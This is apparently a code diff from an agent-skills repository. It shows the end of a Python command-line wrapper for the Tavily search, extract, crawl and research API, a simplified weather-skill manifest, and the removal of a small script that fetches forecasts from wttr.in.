|
||||
""",
|
||||
)
|
||||
|
||||
subparsers = parser.add_subparsers(dest="command", help="Command to execute")
|
||||
|
||||
# ── Common search options ──
|
||||
def add_search_options(sub: argparse.ArgumentParser) -> None:
|
||||
sub.add_argument("query", help="Search query")
|
||||
sub.add_argument("--depth", choices=["basic", "advanced"], default="basic",
|
||||
help="Search depth (default: basic; advanced = 2 credits)")
|
||||
sub.add_argument("--time", choices=["day", "week", "month", "year", "d", "w", "m", "y"],
|
||||
default=None, help="Time range filter")
|
||||
sub.add_argument("-n", type=int, default=5, help="Max results 0-20 (default: 5)")
|
||||
sub.add_argument("--answer", action="store_true", help="Include LLM-synthesized answer")
|
||||
sub.add_argument("--raw", action="store_true", help="Include raw page content")
|
||||
sub.add_argument("--images", action="store_true", help="Include image URLs")
|
||||
sub.add_argument("--include-domains", default=None,
|
||||
help="Comma-separated domains to include")
|
||||
sub.add_argument("--exclude-domains", default=None,
|
||||
help="Comma-separated domains to exclude")
|
||||
sub.add_argument("--country", default=None, help="Country code to boost (e.g., US, IL)")
|
||||
sub.add_argument("--json", action="store_true", dest="as_json", help="JSON output")
|
||||
|
||||
# search
|
||||
p_search = subparsers.add_parser("search", help="Web search (general)")
|
||||
add_search_options(p_search)
|
||||
|
||||
# news
|
||||
p_news = subparsers.add_parser("news", help="News search")
|
||||
add_search_options(p_news)
|
||||
|
||||
# finance
|
||||
p_finance = subparsers.add_parser("finance", help="Finance search")
|
||||
add_search_options(p_finance)
|
||||
|
||||
# extract
|
||||
p_extract = subparsers.add_parser("extract", help="Extract content from URLs")
|
||||
p_extract.add_argument("urls", nargs="+", help="URLs to extract content from")
|
||||
p_extract.add_argument("--depth", choices=["basic", "advanced"], default="basic",
|
||||
help="Extraction depth")
|
||||
p_extract.add_argument("--format", dest="format_type", choices=["markdown", "text"],
|
||||
default=None, help="Output format (default: markdown)")
|
||||
p_extract.add_argument("--query", default=None,
|
||||
help="Query for relevance reranking of chunks")
|
||||
p_extract.add_argument("--json", action="store_true", dest="as_json", help="JSON output")
|
||||
|
||||
# crawl
|
||||
p_crawl = subparsers.add_parser("crawl", help="Crawl a website")
|
||||
p_crawl.add_argument("url", help="Root URL to crawl")
|
||||
p_crawl.add_argument("--depth", choices=["basic", "advanced"], default=None,
|
||||
help="Crawl depth")
|
||||
p_crawl.add_argument("--max-depth", type=int, default=None, help="Max link depth (default: 2)")
|
||||
p_crawl.add_argument("--max-breadth", type=int, default=None,
|
||||
help="Max pages per level (default: 10)")
|
||||
p_crawl.add_argument("--limit", type=int, default=None, help="Max total pages (default: 10)")
|
||||
p_crawl.add_argument("--instructions", default=None,
|
||||
help="Natural language crawl instructions")
|
||||
p_crawl.add_argument("--select-paths", default=None,
|
||||
help="Comma-separated path patterns to include")
|
||||
p_crawl.add_argument("--exclude-paths", default=None,
|
||||
help="Comma-separated path patterns to exclude")
|
||||
p_crawl.add_argument("--format", dest="format_type", choices=["markdown", "text"],
|
||||
default=None, help="Output format")
|
||||
p_crawl.add_argument("--json", action="store_true", dest="as_json", help="JSON output")
|
||||
|
||||
# map
|
||||
p_map = subparsers.add_parser("map", help="Discover sitemap URLs")
|
||||
p_map.add_argument("url", help="Root URL to map")
|
||||
p_map.add_argument("--max-depth", type=int, default=None, help="Max depth (default: 2)")
|
||||
p_map.add_argument("--max-breadth", type=int, default=None,
|
||||
help="Max breadth per level (default: 20)")
|
||||
p_map.add_argument("--limit", type=int, default=None, help="Max URLs (default: 50)")
|
||||
p_map.add_argument("--json", action="store_true", dest="as_json", help="JSON output")
|
||||
|
||||
# research
|
||||
p_research = subparsers.add_parser("research", help="Deep AI research")
|
||||
p_research.add_argument("query", help="Research question")
|
||||
p_research.add_argument("--model", choices=["mini", "pro", "auto"], default=None,
|
||||
help="Research model (default: auto)")
|
||||
p_research.add_argument("--json", action="store_true", dest="as_json", help="JSON output")
|
||||
|
||||
return parser
|
||||
|
||||
|
||||
def main() -> None:
|
||||
"""CLI entry point."""
|
||||
parser = build_parser()
|
||||
args = parser.parse_args()
|
||||
|
||||
if not args.command:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
if not API_KEY:
|
||||
print("Error: TAVILY_API_KEY environment variable not set.", file=sys.stderr)
|
||||
print("Set it in OpenClaw config or export TAVILY_API_KEY=your_key", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
try:
|
||||
if args.command in ("search", "news", "finance"):
|
||||
result = cmd_search(args)
|
||||
elif args.command == "extract":
|
||||
result = cmd_extract(args)
|
||||
elif args.command == "crawl":
|
||||
result = cmd_crawl(args)
|
||||
elif args.command == "map":
|
||||
result = cmd_map(args)
|
||||
elif args.command == "research":
|
||||
result = cmd_research(args)
|
||||
else:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
print(result)
|
||||
except SystemExit:
|
||||
raise
|
||||
except Exception as e:
|
||||
print(f"Error: {e}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -2,21 +2,7 @@
|
|||
name: weather
|
||||
description: Get current weather and forecasts (no API key required).
|
||||
homepage: https://wttr.in/:help
|
||||
metadata:
|
||||
clawdbot:
|
||||
emoji: "🌤️"
|
||||
requires:
|
||||
bins: ["curl"]
|
||||
oclaw:
|
||||
runtime:
|
||||
type: python
|
||||
entry: scripts/run.py
|
||||
schema:
|
||||
type: object
|
||||
properties:
|
||||
location: { type: string, description: "City name (e.g. Shanghai, London)" }
|
||||
format: { type: string, description: "wttr.in format (default: 3)" }
|
||||
additionalProperties: false
|
||||
metadata: {"clawdbot":{"emoji":"🌤️","requires":{"bins":["curl"]}}}
|
||||
---
|
||||
|
||||
# Weather
|
||||
|
|
|
|||
|
|
@ -1,54 +0,0 @@
|
|||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import sys
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
|
||||
|
||||
def _read_stdin_json() -> dict:
|
||||
try:
|
||||
raw = input()
|
||||
except EOFError:
|
||||
raw = ""
|
||||
raw = (raw or "").strip()
|
||||
if not raw:
|
||||
return {}
|
||||
try:
|
||||
obj = json.loads(raw)
|
||||
except Exception:
|
||||
return {}
|
||||
return obj if isinstance(obj, dict) else {}
|
||||
|
||||
|
||||
def main() -> None:
|
||||
# Windows default console encoding may be GBK; force UTF-8 so symbols like ☀ do not crash.
|
||||
try:
|
||||
sys.stdout.reconfigure(encoding="utf-8")
|
||||
except Exception:
|
||||
pass
|
||||
payload = _read_stdin_json()
|
||||
args = payload.get("args") if isinstance(payload.get("args"), dict) else {}
|
||||
location = str(args.get("location") or "Shanghai").strip() or "Shanghai"
|
||||
fmt = str(args.get("format") or "3").strip() or "3"
|
||||
# wttr.in: GET /<location>?format=<fmt>
|
||||
loc_q = urllib.parse.quote(location, safe="")
|
||||
url = f"https://wttr.in/{loc_q}?format={urllib.parse.quote(fmt, safe='')}"
|
||||
req = urllib.request.Request(url, headers={"User-Agent": "oclaw-skill-weather/1.0"})
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=10) as resp:
|
||||
text = resp.read().decode("utf-8", errors="ignore").strip()
|
||||
out = {"ok": True, "location": location, "format": fmt, "text": text}
|
||||
except Exception as exc:
|
||||
out = {"ok": False, "error_code": "fetch_failed", "error": f"{type(exc).__name__}:{exc}"}
|
||||
output = json.dumps(out, ensure_ascii=False)
|
||||
try:
|
||||
print(output)
|
||||
except UnicodeEncodeError:
|
||||
# Last-resort fallback for environments where stdout reconfigure is unavailable.
|
||||
sys.stdout.buffer.write((output + "\n").encode("utf-8", errors="replace"))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
Loading…
Add table
Add a link
Reference in a new issue